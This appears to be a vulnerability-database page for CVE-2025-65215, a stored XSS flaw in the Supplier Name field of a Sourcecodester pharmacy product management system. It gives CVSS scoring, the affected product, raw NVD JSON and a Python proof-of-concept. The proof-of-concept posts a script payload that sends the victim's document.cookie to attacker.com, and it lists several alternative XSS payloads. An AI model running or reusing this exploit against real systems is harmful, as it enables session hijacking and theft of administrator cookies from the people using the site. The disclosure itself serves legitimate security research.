Security Vulnerability Report
中文
CVE-2025-65215 CVSS 6.1 MEDIUM

CVE-2025-65215

Published: 2025-12-02 18:15:49
Last Modified: 2025-12-05 18:59:04

Description

Sourcecodester Web-based Pharmacy Product Management System v1.0 is vulnerable to Cross Site Scripting (XSS) in /product_expiry/add-supplier.php via the Supplier Name field.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:senior-walter:web-based_pharmacy_product_management_system:1.0:*:*:*:*:*:*:* - VULNERABLE
Sourcecodester Web-based Pharmacy Product Management System v1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-65215 PoC - Stored XSS in Supplier Name field # Target: Sourcecodester Pharmacy Product Management System v1.0 # Endpoint: /product_expiry/add-supplier.php target_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost" add_supplier_url = f"{target_url}/product_expiry/add-supplier.php" # XSS Payload - Steal cookies xss_payload = "<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>" # Alternative XSS Payloads: # xss_payload = "<img src=x onerror=alert(document.domain)>" # xss_payload = "<svg/onload=alert(document.cookie)>" # xss_payload = "<iframe src='javascript:alert(document.cookie)'>" data = { 'supplier_name': xss_payload, 'submit': 'Add Supplier' # Adjust based on actual form field name } print(f"[*] Sending XSS payload to: {add_supplier_url}") print(f"[*] Payload: {xss_payload}") try: response = requests.post(add_supplier_url, data=data, timeout=10) if response.status_code == 200: print("[+] Request sent successfully") print("[*] XSS payload should be stored in database") print("[*] When admin views supplier list, XSS will execute") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65215", "sourceIdentifier": "[email protected]", "published": "2025-12-02T18:15:49.113", "lastModified": "2025-12-05T18:59:04.330", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sourcecodester Web-based Pharmacy Product Management System v1.0 is vulnerable to Cross Site Scripting (XSS) in /product_expiry/add-supplier.php via the Supplier Name field."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:senior-walter:web-based_pharmacy_product_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "DB2DA030-DE10-4DA9-86D7-3E3E9A22DABC"}]}]}], "references": [{"url": "https://github.com/vabnamoni/CVE-Researches/blob/main/CVE-2025-65215", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.linkedin.com/in/vabna-lina-24ab17186/", "source": "[email protected]", "tags": ["Not Applicable"]}]}}